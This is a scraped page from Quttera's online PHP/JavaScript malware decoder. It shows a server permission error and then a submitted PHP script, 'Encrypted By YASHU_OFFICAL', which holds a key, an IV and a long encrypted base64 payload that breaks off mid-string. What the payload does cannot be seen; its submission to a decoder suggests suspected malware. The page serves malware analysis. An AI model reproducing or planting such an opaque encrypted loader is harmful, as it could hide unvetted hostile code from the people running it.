A PHP Error was encountered

Severity: Warning

Message: copy(/var/www/malwaredecoder/index.php): failed to open stream: Permission denied

Filename: models/Decoder_model.php

Line Number: 39

Backtrace:

File: /var/www/malwaredecoder/application/models/Decoder_model.php
Line: 39
Function: copy

File: /var/www/malwaredecoder/application/models/Decoder_model.php
Line: 27
Function: check_restore_file

File: /var/www/malwaredecoder/application/controllers/Decoder.php
Line: 136
Function: decrypt

File: /var/www/malwaredecoder/index.php
Line: 315
Function: require_once

Online PHP Javascript Script Decoder | Quttera


Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level


error_reporting(E_ALL);
ini_set('display_errors', 1);

// ======= Encrypted By YASHU_OFFICAL =======

$key = base64_decode('hxlG68x4Ug2IqXLXnBhlUwZQdpGzzB4Oy90XZF1Ces8=');
$iv = base64_decode('5+O0uAlAD8vWCQrGsyBjZQ==');
$encrypted_data = base64_decode('WDU5M2l1T3dKMW1WcTZtV0l3OXVVNzJ2VGdwZzZseGJ6SXNsZGhwRkFDdytoQUlLZmtGaUoxVFlCQ2k1b0hnWkpQMWNFZ21XNU0zN3RPSkhXOWNQWmMzcVV0cDBwTmJLQ3pPUVFJYVZ6amtFVkE3SzZvMUhOVkl3NEE3dThKZGJ0WjMzeWFIUFhWVXFvSDM4bGdkYUNoWGlRY2RVKzNyVzJRU1ArTDZSVzN2cDVjb2phendpY2VyT0VtVVhzcC9aeEw1Rk40TGFoVk44QzRId3VhalZxdkpMZ3g4QjgwbTIvQkJRdzFxVHZjbmFEemQra05PVUg3cGg0OEJjRDg2VlR5eE9IYXVpdk1mT3VrSU5qc1dIZWNIblVYVm4wcHcramVGR0xxR3hxYVNiWWR1VHRPbjZrWmRzNDdDQ1FXeHdXd0FEbjlMYUlCZHpENStyY0pNR1dIVVNyeSs1VDlZV3pUOE9jb2dRaVVWVmlsSm1ob0kzcEVHeFVWcExTa3lNZmU1UE1WdVJoQ3UvWU9FazBLd2JwbHorazZsaXhRQURWWTErZ01oR1BLSnVmZlFLM3hqa0VyUmMrc2xzWHZxUXFJYmVINGJ4eTU4OG02R3lJOVc3UUN6Qy9meVVvZW85YmZUSVdkLzU1WkFTU01tVG95Zkpzc3JScDhoUmUyWEc0MnQvM2pWWTRVUzM3dndhWnJuSVJaY0twcWdGQ29Jck5hSDh3NGNLUjBsQ2Y1NUc1MG1wN1V2WnB2Uld0eFZQWXpKUXdjcWVRckQ1aUZWZ1JrWEpaQnpYak9Gc1BZdFJBaHhvUUFEM1BFa2dnd0lIemlyY1A2WGZldDZyM2ZaRUlpS2RDd2YxSGllZGphYWx4TStRUUxZTnFreFR4bzJkSE44aFdJMGlSajhzZlpkME5IVFAxWGFPdUlkMnlBem9HVmFyaktYS3NkN3UwODQyZzk1OGZUZThVcGhRS0ZoK0xsbVNHSWVZWXRHVE9UeXBnZ050TVFsN08xdVh2YkxmK1RVTkVFRkdValhJazI0cERvNjBCN05xenNGdWVGeXlXaVA1R2hIWWVBMXVOK0Zwd3g3aWtjT1g1WGNnZ2ZIekVnM0RwNVVFdHhGczZkRFRqcUdsTkJGUFJpS2lhdG14V1dPVWgrM3ppSjd5T2hpSk5GRDdUUUVuZFlrQ1oydFhQdzVNcFM3bWpVMW1UOTlSdldRbXM0NVlMYjdxYm4ySXpGa0Rnend2Q3hjMHlCTm9EcVZRbE5CYmF2bGRlSDRjMlc3dGZlcThkRjJUVmRrNHBkYklKb2xsVzZsY1pGVlhCdnZ3ZUNWUUpEbkdZUSsveFRzQWwvSjY1dmsyUGk1Nit3SEREMEU2d0I0SXA2bzlkRXlRdWpTSDJOdUdNRExLREcrZ1M4TllWUFBFVm5IUGdEUitoRXVvZ0pNQ1J6U1JkSXlFQVJYU3hUQ056MlZKN2N6L2I0ZE04VXBHTEE4OWpvTExtaURuaWNkRjdwMFJhaUduUElCb0VvOEhqcG9yNldkemsxeTg0RUVaSDVHbXFMRVkwZSt3cTVKTk5PVmhEOGdSWjd1cmVCbGFGQk02dVpqZTlHSkQ4MFY2ZlVvTU1DOHM2MVFhdlhqU2pNRTlYOVoxRS8rY3BUbDdXcTA5WUwzNE9xQ3RQdElVZmNLcEQ3dGlVdjBIUEpleXJyNFJwQU1iY0NPcDdyRExKZ28vcmlwUXhMT2VxWlU4NEh5OFN2c1JZQUJMUkt4M0wzS1VUcFRKMVl0WVBFWDI5RWRQbVd5VHIxR2MvVTdmVllaNE1ZV1QweHR1ZWIzejJKY1FjSzNtMUozbExlVmEyTGxCSDRDSUV5ZnBrM3dMMUlYcXh4QnZWWWI3Z0JkWjM4RzBnMkFjSXIrcUlaM2RhOWgxQXFDSUM2TTMzNWxyQVpXOU5SRjhrUzZrSjI3eFI2bzAxVGI5cVZwN1hyU040em85cEdmUmd4RTVIWDNLMWp2ZzFVeDB0dXhBdjBtKzlXWXg2NW0rcit5azlJclVvRmlYZDNuNmFodEN4LzE2MFc5WmpYaktURlFkek5RRVowUThNWmoyNWVRcW1PWmU0eGFTV2gwYmtqT01HTktlbGIweTEvU3N5cFhleFVkN1I5TXdPQVVLY084N0lqbnZyWDI4Z2JaYXI1eXoxenFlK1RPTnlGQTNxelpWR2RnT3V5MnQrVjJpbTY2WVdZZVY3OVZ3aFRZVHloUEQrSE5ZUmQ2ekRFYUhYWGpmNVpycVJ5TDVjUldzc2Ywcm9hSGJiOUhlZHVDbnFid0NDOFlRc1NWeXZseVVVeGdPd0ZQU2dyUzVuanllWUw0YlBUZ1oxWUtEdWgxczJDRVAwWkJPNU9mRlVJcEtBSVluMnE0c2RTNGptYUFxb3lnRlk3aUNIYlE3LzBaVENRV1pjL29DV2xDajVMUEJoTEhQbDNxODVvYjZWOXE0VzNmSXloczZaVlFsVTdZMS9kUXFmUUZsVmlTNWxKZnlDVkpYWXBLNlMya0hnU0ZhWEJ3RlU5bXQ1U01yTWNKTzlDaS9YZ1pLUklwKytFbUpEVnlOYnk2clA0NHBMSkdlcVl6NUdwSnkrc2tZZ29wQ2pxMHFCU0tFcjIzd213SVBDSlJuSWdDMEZ3aGM1VENIRERPY1M0bzZWRGI3c0s1NjZkNU1aQmFXdFdYbkpnOFhQMnFIU2ZEejJNKzFEb2UvYVpmd2VaVXFSZE9HNDRLS0ZCQzNpZEhIMnR2endka1ZFVHVDeXZFaUswbEF1b3BGYnBqRGh5SnZQYzNPMDdINE1EeXJNdGdGSURQNlQzK0VpYlJ6YW1uMUJqSDhKR3hMVGFwSXh6R1ZrM2Iwb1JMbm81SEpzdlhiajBxT1BmM0hwYWl6R0tKTGUrZm5HSVUvZzBmenVPa0RIT2gwUk9iUWQ4YlA0TGIwMzFzTmZiMkpSdjIvQy85dWJzeVE4ZWc3WjJwRE1MN1dubHcxbU1QS1VhUmFISlFvM0RqL3pCVGM1RmVxUlY0TmhjOU1IMVllZ1lKeEpJS25qR2YyaVYrK3BQbW9ud2ZLblRXOGJKbWFvYkhhalUvTE1VME05Sm1yTDdnbklxbWJ0Z0RYZUtmYW5FMlFzVjhWLzR1QkZIRWdzS2pxcEZUM1lsMVltdyt4MkFBL0I2NWVTLzE2Zk5CZEZsaHNRWUQwdjhienAwZHZjZFowMUU1ZlNpMktsMGJPTXhzK2VPdEl6WWxJd2l3M1ZLeE5ZZWVWbXQ1NXUrSkloQngwMll4Um1SNmhEc1lES1FodEduOGlDYmFnb3lFV0h0RFpOS3BndlBnS0gxZ0lOeTJGZVVsejlIa3FLQjhlRTBRTXhwWWc5UVVLaE9jMXN0b0FwejU0OVRxNFhNZE1sellRZDBOMHpsVmZYT3NxU0lWazVTdHF0dWZwc3pJL1FTaUl4d3h1aEN1ellWZDFyaXBqZE8zQmFPcFN4ZVBWWHBVbDNsazBmejFiRWl5UGREZlN2RDFLRnZyaWlSekJwSTJPUnpxSjlEdzZjWmlGUEFLb244NStwdWV4eC93TFRRTlZPYWNYM0REQ0dHM3B0L2w4R3Z2a2w1MnRjNmVPZ09jZFRPZlVjR0RlYVQ4V0RCTkpHei9LL3lzZEZLN1RXb1ZXejdYWEdvb1FBQ3dmVTVGZ2dqdlV3dmxzR2FHK2FGVHgvN2hGSUYrdUFsTWduc2wvUUZETHFVR2NtSTFNRUtPNDVhM2pORFNicjNMaXdsWWI0VTFaRm9DZW9aV0FGa2gveEVWZUhYSzZyMUhnRlBWeGR1Q0tybU1qV1UrMlVtdnU3M25RWVF3bm9kT2V1cXRMRkNrRVBXOFBpRWtLMkcrNmQ5RzdMcmVxcGc2N2UvNFRTOXJKTFpUSkVsUnpFSWFGNmZhNHBaQjhKbmVnUWxyUDFINlF0Nkd3RzBzcjNSa3FwT2hTYk9leXJrd1VUVEp5a1N3K0wyTHpWbDBNQkRLc3NHVFdLd3BWdDIxMXVXZ1dNaEgxTEpQVm1KT1hlcUl5ZXpjbmI0WTE1Q1dDazBNamw1Qm9BUlpjV0JJWCswbjhGcS9hWlZYc3ZndzUxa3p1d2pqU2hmUlIxcEJnNVRZWWpSUlJWZTI0WnJLczBXSEk4dGlvWlJNNlU5MnJST25wcVJHUHFwZ21kNmtxSFozTGVUdmtHVnhObWM2SWt4WVZPTENxL1B4elRMdkdlRHh2bzFPZXd2TVlSMGdKU2c2dWZyaklzUjFpZklPemJiSzRsUE12K2JzQ1NtVGUzNk13ak1HbHdyYVF5NWxYbWZGRWpodnV0TUVzVmVnc2VZbjBLYTBEYThSWENkWUErMEwwWDBVOGZEaTcvdno0KzY2ZVV4dlNBN0JYTFUwQmZwb0U4djV1dkg0OEQ0dHAxSnZrZGxqK2JyMDNJK1JMRyttUG1relJIVElVWDZOcGIwTERJenMrYVVseHl6a0VDaWRkYWRTQUxnaTJqSUN1UEc5Tk92T2JwZlJOMTRyTjZRMS9XWUpNd0cvQ0VwWEczdHRDbEdyVWVmN3Irbkt0amYrZStadjl5M1RKaWRrMHBoSGZ1YXVxNFVGbW82dDNpd2NUSllrN2tyMnpKeHlkVlBRV1hGSnRjSk9nVjRDVUhZOFY3K0xnVE8ra0kwSEJlYm9TVk9OZi9OM1FJalZPUnpLMjExSlNVekVHSXdBd3oxV0VDNFhSaEJWM0licWlzVmlDWnBqejNtRlFHVXpoQ096cFdZWVN2NS90YmtjNDNucHJ4cTU3dU1ndGtMS1Ewelc0R0VxQmxJcFc0b2tUTklCZ3dYM3kyUExjMCtPd0RqeFM1L3FOK2dxdzdONzMzQ0xIY3V1R2lVMXFpMFFjSFVpSVM2bkdyWTFkREJmQitELzBoZVU1U2FOYmJhQXRKaVVGNXNiRzF3UWUzMmtqTGZ0czV2NGRvTVB5a0lZdGRqSjQrbml3SGZjWHhMVU5qZTE2RzhocEIxaHp5Qm5wN2xDTm41bTdtZy81STN2dUtqU2FLQmJzbXlJRnNNTlpZWlF1N3ppV3MzSUhRWjJpbTdhRkg0a01sWWNCVGo1SWhmUUVsQlNvL3VQR1gyUm8zckI1UlQ1bjl0Vk8vZ3ZzVTc4TW93NFNlWEFGLzkyQjV1Qk0wcGtzMW5RYWtFZ21OV0JpdzJnWnR5bk9jNEdFa3Q3b2VucEhpcjJVTnR0M3NzSjR4MlZsWEtXK2xleDZodGlTeTVwMkNidDZMNFZnRUJWK0lhTVhTRkdiSzQ5LzVCSlN5dlBEbUpGQUFDN29xejgyM25YRm05OW9yeC9uQWNNQk1qaWRwTkNGaTJVWndrZFp3ekdGMUJ3bDJ0T2QzZHBEb1pYaVNrU3RPcmp0Y0hWcWs3cktsVDdkRGpVUVhEaEVBcG9RRVFqZkNwMFVhRkxXUEVKUFpsUEhCS283MnVIOU1IRUpDR2kvRWZiSStqaG8ySW05cUR0elNsUnBscXRpZ281M1NEOGhtQ1BaMjVnQW9CQ2M5eFRjNnNCKzhlTUxVTWErelMxbFJML2o5b3hJb0IvVmRwdDU3Y1p3RG1BdVh2ejNHTEVpSXNmR0ZxOUJZWmtXdVdYQnJsb1d4VlJrdytrdTdFY3d5bXBSZDhCbjFjOW1tck9xQ0lqbkxJODdJcnNKWWlhMTFVNnNOcGdzY0Y4cmtGV0RUYm1sYUpaUjc0NTBWc2xiOGptYkRoeFZkWWhZYTNCNndQaGFzT0JCZzZVaFNIK094VHRqdzlLS29JWnVaWndxZ2x1emo4NnpLZms2QzNpMjRpZWNqV2FwSVFSVC9YQ0h1U0Jlakt6REVFUHhDNFFPeFhHdkJLWUZFdjhhai9FejZHZU5QdEgrT1R0OGV5elRKM1RkVVNXaXdqa3VKQ1d4ZDNqSXBUMmkxaXFUY2QyR3BFeVE2QUY5OGtKSmJodFNnZUVJQ3M0Wk9jVkxKOGNkbXUxRm1GMkFyTHFLdnJidWQvUFhJOTFiMTZ2ZHBwaEh5VXRvdzlQY2ZmL2ZnM3U0cDNNanFDWHBleFlhci9zSUhLblAySldOL1cydXhtUGpwT1RBQlAwajI2QUtYMVhabzFvL2FFSUJRQWxDYkdIR252anYyQk53Y212Snl2aVJsNHRQVFhFQ2w4cWNzZ28yQXhKOC8rbkI2c2VFUE94L1RaVWJ5N3dDNzZWQ1hhS1hWWFpHamVpYkppVEl1RHM1NmlmNW45WCs2SXpmSEhqR3hyY0k2MWRiVHplanJyV0VWMEZSNVY4ZDYxaEo1eG16dmhhYms0WWF1Wkh5cHpTWHc0YnE0Sis4eXR3Q01yYkZINUY4aHo2c3VGMDNNTy96cFdRRGx3M1RTSFVJVFZ1TlIvcXUwaFdNQ2NMeENVL3ZmYW1jWUVNUTVVVHlBNTFsUzFUZlpHYnd4Mmt4ZzgzdUY1S3R1Z0VJR01wNXRvUkdIRHlIdUdpSS9ReUordE9WTXhyRTBNenh0aE9taGh6WEY2S0lrNFBOYjNweHlBNkZ1Y2tZT0c1bXJIa091bUFubU5CcnlIbENKVkxIbFJDWWV3b1c5eHFIeVBrNWZ0S3ovemZtaHFFeE9Ndk9PcFN3ZzI0ZVpJeDJJK0lMMlhwdDZuZHlZakhsOXlXV2tscUlGaVBGVUppOWhGLzhhbDhVZGNTeVM1QmN1Y3VXT09USkl2Z285MkdYbC8rdkhkZXdsdU5ETlhoZE11OHpYZGdkOUlSRittVThPNFNjWFp5RjVSeFNYNnptVG9LK0xKNmpNa2xvM2VXM09tclBWUjNyNWV5c0VLZDArRUgzcGJJSzk4VWZZUVRKWGZLTnNOZDJmM1BwVFNMT3FDb01iSTlKTEZuUktGbkU1VXhmRlVTMTBjM0VFV1RCdzRYMGRqTm8zN2VkeGEzTlAxSlcwWHFzK1Z0UHMxV1YzZXhwbjc5YnkwNmpRTDhIWlV5eTZ5M21UQzJnRnc5L1hQZXplaTVEaXBIOFQ1UWY3UmY5aEJaVWhxR2VsVzA2UXJWQmNRZHlMbXlWZjJ6VmhIbVh4UUdTRHlGcG9nc1N5ZlpFejFZQ2QvYkF3OFhoZ2lVNHpMek8yRG80ZDE2L0dYcDN0c2FzaE05d2VCZU1Ed2FWVnBBbWtLSXZGN0hWVVYrQXNpdXhuNENTMitRZEpJVTR4ODFhSWVJb0tZaGRCQ3hFOEJiV1ZzalF2K3h3T3grMlhCQlJHWmc5RkZLbUZ3N2lVd1hjeFZ5NGJ5WEp6Tm1jcEc0eVhnNDlEQitzTUtXaXZNTi9Ub1k5TEw3MXFaRVU2aHNXZENvZCtxbk9PUU1LWFU0UHNGdFl3THFVT1Y0VVgzZ0NSMWJCTENmK2M3NFpvUjRLeEhJUGVQaGwyV01UdHJjd0lRVmZmMEVSb2F4RjlXNE1FMjRVVk5HODZxWG5xM3hNVDhXMThGNmRuaW9JNzdkcjQ5ellFVnBVRTJVSnRxd2ZqeWRVZ2E2Yk9ia09nVnZ4NzFSTXZ0V3JXQTBhSUlpQjdmTEM5Mi9ySzBkQ2FUdEptOU9JNGVYYzR3ZTFWcVBjVk11TFRIYklkNG0vYzF1ak9ZZXVRWUJSK25PTGdSc1hkZ0t1bkRmQzEvOWZLcUFUaW9MeTA1cGl2RkRkbG9yb01LU2RIZGYxdXlzUzNGZm1kZXM0WVJyb0J6MlgyTXZKbHpEeEY0TzZLRFlJaDlKQ2U3cm11R2lIdkcxWUo1REVrd01SNEppUHArTDdnRkozNmRJVzYxQW5QUWY2eGlsSlpjcUxoQXVocHA1OVRablJQYnhYRW9Vbi9ZTFlCU1BSRmJqY3FPRVdaNUZKU1UrUmFEMDdVTzliaU5Jak1SNEk5NWtCT1JlV1RFVFRBZHMwdDlNMk5iSUF3TUtkcUcyeDdTYVRSUkdrUEhyaDBrY2lyNGdxQnFRaHBjR2xWM0VhczgvcWFIS2dzbFF0RHYyYlRYZkRNY2pId3dSd0wweVdPNjRLVzRJdytKUEFLcUJsWlcyTXVWa3BtMHg5ZXZYR3Q1ZU9ZK1V6cmIyZE1lanpBKzIyRy94eU1seVF5SnQvdTFnSGhxU29YWHFvbzQ4TnhEUW9qYTlwZU5HU3FWeDd6Wk1RVFloQkxwSzdJWGZnUFFSMlczNTQ4ZExHbWMraEpuOTlZVVlvOG0ycVpBUDYxMXJNL3NyaXZHdXZCcWdHQnJXVEVHTS94R1h6WS9mVEhPblV0ZkJEUW9aNWRocUpzTmExbnk4Y2diVEhsWkZvaVo3VXJhdjRBVjN1VWpmdnV3VmVwZE1IMm9PenFxL1N6UWRaNk50SlFybk1JZVBKMFJYdXpjb0FvdFNLK0NFOVJ5dEN4YktXOFpsUmh2QVlMeklqMDk5Y0VPeDA4SUFFWmNxSGE5Rnk1Yk1TWGJ1dHdhOHhpVVlwaEZFaHBUcjR2UmR2QW9jay9xN1hIcXF3cUgxdkJJNHMrQjBDRXNmY2dWYkM4UGJuTWtpemhaUWJvNFIvY0pmTE5UWkFtTTdFNU1JdkxWUEhxU2lsZmpkNnJ6RHowWTdLNWhYVjNBZ3VWdDFGdEZjUmpEOXEvbnpvb1FTVlFmaDBiVGloQlRudFVienVzb0xLRW9WOFRmaVE4RnFZSnJtZWgvR3VnZk0xb1QwTkpLNUczdkxOOVlpeE56MmpiNEhuZVZyeFdJaWk5Tmt2djBidmg2b3QyMWxzdlNpQnEyWUY3MVdMRFo5bjdyeDhaYm9ZdWk2NlpWT0FpdU5Ga1RaM25BVWsyajAwTUt0a3g2OGdSR3pXeXkyLzNMektGUW5IcUZIdExjMkFyV0tRSW5mcXlrZjN6R1h1UGJmak0zbW1nVHVHajY3Vm94a1k0L3lrWDErRlkyU1BQVkhVK0ttb0JBUHJmbGdJczQwZnhRWlpIN0IvdlZMOU9WbjZlM3dmMDlZalVOVzduZHN4SHFvOEo2VEZBZnRXU1IraStzejJMY2NMQkZodEFBYkhzVDJIVXBtL1JhSEtERnVZeEtUNVhBSlRBVHBva0JvcTMrNHhiNTd6d2RncHpaV2Vzc0puaDI4NGN6NXA5azlJRVNpNXI5ZkN2ZWt0YmYwS1puak1VNGFGNXU4Y21kNEk1bk00UGE0ZWNaZXVWYW9JYkxmaXRhZzJEaDBTbnVrOFp3V0pWWlc3Nis5ZVMxeENhUDh2TnJhdDluRCtvaWdMdEpMS2VSVktSdUlBSC81NDROQlBNN3djOVI3L2doMFh2SUxxOUF6TEZhbWJPUG82emNlVS80VUlhOTV0NDFWRHdxRHU5T0c2VWFyVldNTEs1MEs1eW5pYkdVaVZMcVAyWFRnTS9mR1JUdHhTRno2RGVCb2U2SVFsclloc1VPVzlpdWVkYkI0WUZwRlE5dnNJZTREdWZEVmJoSmdUeWR2RzZ2QW5iR2lkaThneUYzRWFnc1B6TTc3Q0FrU0FkV29wV0s1eFpPTWtqaWlRdDNSNHlxRE9xVGgxM01wbVd6eWdmV01KK2ZSTWQyUXM5WVA0ZVZhN3VraU5vajVwcXNMdnBySjk2aEtZMDQ4Qy9JMWRiNnpoVWpTQVNLSEFRNTVhZ0IrQlpSdVlrUFAveVh4SEorUmtTd21pZVVsUklQcUdBVzBkcVB3cEc4K3ArOVR2MVd4cm92QnRTMFNTT0ZPQmFHSGQ4UURURWxaZTJQU2RZL1JzT1RjTE91T25VeVhtSGxIWkx5TE1FRmlBM01jbG81bXpMeUFvbWd1RXp2NHlNUzhJemJBdTZWWTVmTlhYTjlsd2NZaWx1VDBBM25WaWpiOXprN1VYUWNoT0h6UDlRQ1ZScFE4cU9sZndMVURmbXlDNy92SnE4aE16YXd3cW11M0pxWnNuSjVrSCtmWmhja2U4WTdVYWVmeHExd2t4aXk5MFRvdzQxMS9DSU1tOGNabG9Mam01cXdPQXNMOFlFTEdvVzdvdDlrbDhLc3gzcFdGTGVzWDFJL1RLQnk1dDA2RmcrckpPNXh1ejQxLzNTSzltdzUrU29ZWEUzRUF4WXVQbmpuT0VWbnRIVzZnbVptWktub0trT2VsQ21JVDhQWTZLUWliRkp5cFpvTVdXQnRBckxEUHRQcW1Rbjh6aG1JL252Sk9EbGc4U0lHcTFYZDdrNmxDZzhjL2NHblA1dzVqQ2hWQk9nVjRPa0FZWHdDTlk5M0xCOTM4ckFXSmVxZmFTbWtOZnJDT3BJSzhuZEFvYzIxNDR0dnY2cnJ6WmRJRWhWNXMvelh5QVdndTNNRnpoVGc0bUZ1YUtwZnAvRjU5dW8rTyttb0pMR2J4M3FPUWhheXVyZXFCZzZMNHNwZTFjWi8xdW10ZDRYR2NDWDNtZi9IZW1VaUVsRS94MDVkSHA4WlNjUitSazFHLzIydW4xM2M4aVdZSVNGZFFNTFl0YW9jTzExRFAycVIwSHRDZlhvb1BSS29zOUU5SDdRaG1yeE5PMGVDWG40ZXFySWk3aWJtMUJKMWRqdWxyektCYlFJbGxTdjhUcU5yNm5RK3ZadWp2NTV6bnh0bmV2VW9zVDN3ODRSbjE1MEFFQzYwWjBQWjIwNFQzL3AzZjJtbnZsazk1UnBZYktyWlkybVRDY1FjVW5PdVZtTEc2ek56UGk0TEltT2JnOUxON01xSE5IOEFkdFFuY1JjZjJjNThhRDI0MGpuZ01WL3BudEVxL0ptS0ZYQjB2ZjdWdlUwWTFYUGJmK1E2K2s3SW5rMTJEcUhIRTluMzY4OWZ0TE14VHd3aDVzV1NNdVZzUFdrWWdCS2MyaTRZTWdKTFhuak9qcDZzMjVRa2hlRjJBcWJDdHQvZ3BrYkpZYlBtQU51eENNTit6dGF0WWZPMHU2aXhIbVFLZFRGMkNDSG1PcHZ4bGFqR1I3SWdHTlB3UGtsQ2FiYUJLaUNTRTIrYW5RMzZmQW5PaXh0akVzQXJDRWFxaEtvS0pQSkRVQXpCa2FCdFBMd240MEZZY1YrS0ZBNXFaMk50dDNkVkpWS21ENXBWMERYV0RtOTA2VWJua2IxdmFzZ0xIelJweHJqV2U2U1hFZnBkK3FEbGJ0MzVmNUNhUnpReEY2TUdlYVMwSVhiUGhKOVBEQ0hnRlpjMEQxNGlvQmMvT2c0OXFMRUxhU0FrcFg2ZkUyd0trZjJYOWZuUUpmd1c2ZFl4V3l0SmhnQ2NJajBMekNjME43TjNzeDhZaTNPZGJCdkJaaHRGK0VYOVI3R0htTTEybVEwbDVFN3ZRa1ZlRk05MjNCaExuSDFtUmJNZGgrWkpzWFg1N1V6K2F6Q0JXYUZXY2prZkJIb2F1M2twWDdyb1dWWklsaDkxZzlyOGppMndZYzlzL0kzcUduWVl1K3FUMGxUdTNRWi9mNW16ayt3RS9UT3RwM01CTGVJdVlSNDRoZTNLaEhVYnRaUFhWWS9WK0o1OE1PVytDZ3FjQWJZLzlWZEdXaFdXY1BveDhGOVBDT2lLNnZHVnBhZGFpZnZvMWpnSVhIcGNFK2c2aXA5dndVVmhHL2tXM2h3bDhiWDF4dzd0MmlGaGh6ZnByeVphSzYrRFFpSHFpVWg3bVlhaElEd01PSDRqOTBrcGJTZWV2N2Y4Yi9oc1R3anhQTjdwRzhmMnpidVlmaE1RMURST21KZDJTL04yYlhIZkRPb2pEQ2RFS0JxZFh5ZmU3MERQU3R4aWo3TkVmME4rZldNdDdjQk84WGFvYlNIdFNvMnhnUWtmVWcwWXNhM3Z0L1BtbVp4M1hXOHJHd2RBMHI0TkZQaXpGUTBCMCtRZEpHK1RJRXhnWTZodi80OFJMUzhsNXF1OTUvUHEwbHB3a3NSVzZkU21SVDE3R0hLdXBMOTM3UmZXWFF1SnY3d3VqdDFUZG9hbmtJMWZ3TU5zL0VUbUNQOFNaUTl5OXR1b0E2NHZXUzJZZlNuOWJFbGlvSkNBODc5enBOVGVEYUZDcXpPWXpVNU1SSVpRajMrVkF4REk2eDNiOTV5emhKTld2cHFIUmRxYzhFL3p3UGEzcVkxeEY3N1hJcDgyWkV2U1p1eG8zdHFVOHVmTS8xUjU2Qjh4b01yOVFVT0pybURxbEZpVWE0ZjJBaU1ySUJJcE1SbS91bE40eE5wUGlpOVA1d2dva2xVQ01qTElnZzUxbzVreVhUWFhnUlRDSXM1Rm5oL0k5dTU0WG4zZElkK2lzd2tNbGsrcTFiYjFpeFdFSytLUWNFZzJMYWNiNmY0VHA0dDlOWEFmbGJRZ0RxMUhUdVQwMW5RSWpabnY0YmZQTjF3ZGpYRTdEK0RJSTJBMnJxMHo2amhiSDIzam4yQkdlcGI1cE9xUTU5S1o3aVRTcnlrVTVoN2RBTUJYejk3SU9oUy9wTXZwVmd5bTBOQVlQSUxTVS9rUWM0cUQ2NnlYMG5TcU9nT0Zwa2x5cSsrY3NoUmNmQUkyU1ZWQm9UUzZiaWdhOS9PaXVOeC83ekYrL2k4UW8vSDR0VFNwTnhESXlXa0hRemYybys0NjlQR3BuK2hOTzc5YXgyaUdoVnRSeTZYNkxTckVwSnJVVkYyNVd6ajhBVlRZMnNFOFNPVk04bTBnYmNwNnRzN0xjbER3amtaT2ptZEYrZW0zUmtpYTNRNWVpbmpnV3VrL08rd0dSdG5SNGFMVnluOG13OUczZkZCUnlwN3RZUnlTM05ZaTV2SkFhSTVSeWpqemNIKzNjaVlWVHdTMERUUHZZZjN2RDRNWHBGT05iOC9udTZ5bENoN0xhNFRSTlY1UzVuYTM0Y3oxaDhjRG1pV3BPZTNISVVXSExIdUh2WGY0VEd0M2QvTjB2MDc1TCtwaWljdjRNRm1xUDNqcDdWTGptVXM3QmV0ZktQQVFVSlVuazBINWlwVm9iLzUxcHh1TkxFSVJySXhsZVVPS0thWitrbyt4TkdkYnZMeWxkQXpISTVIQzNCRDJkSC9XK2RTL2NQU1NoSGFJcDVlR1VIbnA0VHFGNVF0TTlILzk0c2RuTzAvWVNpMDFtZkdweldrUnd5WmhDL1IxQkxtcUlESXY5ODZKZGhucHIwS0RBN0tDQ3V5Wnk0d3hURUNWRTFZTUx3Wkt0a3crYkxKOVJPekROUE5CcGc4bGJWTU9nOU9RWDVEeDk1Rit3UlJGM2NLTGJ3OEw5S3ZlZEJoR2RvV0U3LzR0WE1JRmlLVXVGSTJpUW1zNkdLMkNPUXdsQm5GbjI3Rk0zaHA1ZnFMY0ZOSFZvOU5CU0paUkJQaXF4T3NDVHcwdUNYQWxYV2VWSkpjUnNLODNZT09qbWRVOGlKTnJSd0ZjbW94ZFVOMk5ranNMVk1OSjd6TWRabTVDTTZsSTlTUTVwQUp3a1pZRzlKU0NzQzBDeDJNbTRpVHpubWd1dWNnRzFzbGJJUUtpOHFnSWcwRzYvQmFnWjdEZ2FtVWJwMXJ3dS9DREk1T3NabUNiZGl3RzRJamNiT3NNQ3VQUTY5RWQzK1YrOUNRQVgxclVrTXBUU2p4emJqaG54b1hsVDY4L2t6dllCckNrZGlFUXJPRksyYXJkRmJmZGRUWko5Q0pzN09ZWTVSVkNGV3FsVmhNTGlNUWUzamRHOW9GNHJzenE5a240VzJyNWNwQW92WXduTjZmdndRQ3NsSkdpaEdBbDBobExMcWNJM3BneXpCWUNYZHU3bkhaQmRNT3UzUm1Kd0tIV2xxL1oyQ1ZpeDlXcm96U3pVNGs1cVpZbXJPUWxxaXpQTHZhR2Z0MS9UaUZUaHJYaFNvbW5QT0xqR2ljZmE0UlI1c2U4bGhmOG9taUlBL1ExZUUyOFoxQ09tU2c2b3I2MEx0bDM0VnBYa0JuTWhnMUNOY1lXMEJyTHo4QjJYMGM4MzdnSjZmTGR2cTVlRlhMbDJsZmp3Mzc1RHVRaERWVXdrNWR2MEZOM1VYa3dHU3l5SHQveURWcjhQcHFVeWc3cTcrNzM0MG1UY2ZyNnFJcStKM2NEQ0tveGdRL3VGelZISUcxalBzNEpadkpKRlVoeDZPZm52alluSmpMZmdhMlZSMk5XRDg3U25RektnRTd4Z2xvSnZtVXRoMFptN0gyVGZKSDdoNERJMU5wb2ROKzRuRjlJandPcDNjWGJna0E3SmtQWXk2b2FXUldmOU1LS1c4QUw1dlR4R0trcklwam1RUy9FZnZjQUhyY0Q2eGFlZDQ5TVJLYXdmUGhicFVHeE9yNnFkbEdIblNYVXpwQU5KdThaR0ZNemhEUVlabk9GSStqUDMweHgzODlyU09nc3EzWmlRMUV6bFVVVzNTcm5KM01QYk1WcjdRMXNKVXR4RUR4OEVyMWQvN2FyY1RHOU5OS0F1VW83aks0WHdkQXVoMDZTNDd1b2VwaGhzU1FYaDE1bnZ1RU4zTHlCM1VFUkxwS3pqYmRqMVVOTFhDUDVTU0hYclprRmxUbUM5a2JTSCtGOEphQjFoVzJ3U0VIaVN5ZzFQWStBQitINnhkZEVWVnFCLzI2QkZlMTJhaGw2R1VEbjhzd3pndkNpTWNFMmdGVDJlU1paQTRhYlU5NUlDdkttenRsamE1UjYwajEvbVZpVUxDelNmMUtHK2pzQkhiSW56Zmx5MGtQYWZoN2Z3Sjljb2lHZmFpQ1dEK0RqTEsva3o1QUxWYjN5UysvdXd2UnF2TlIrc2ZqdVV5K2MvZjNpejFZOFBPZGUvVFpJUTNPRWZ6MENyckFyWXdlMFo0NCtEZ1JQQVpBQmg4eDhZZ3V0dDI3MnMwa2ZKTisvdWp1UEF2Nzk3d040b1NvQUVITlpnMGYxSm9keFJmS0N2dHZSZkFxcC9RODQvdW82aEVORUp1ZGtCMnQzRFF6ZDhaY3NlSk5NNGRZN1lFRDRiYnlHQ1RHaENaWGUra1l6d1F5OEZsV3puNWRxQWh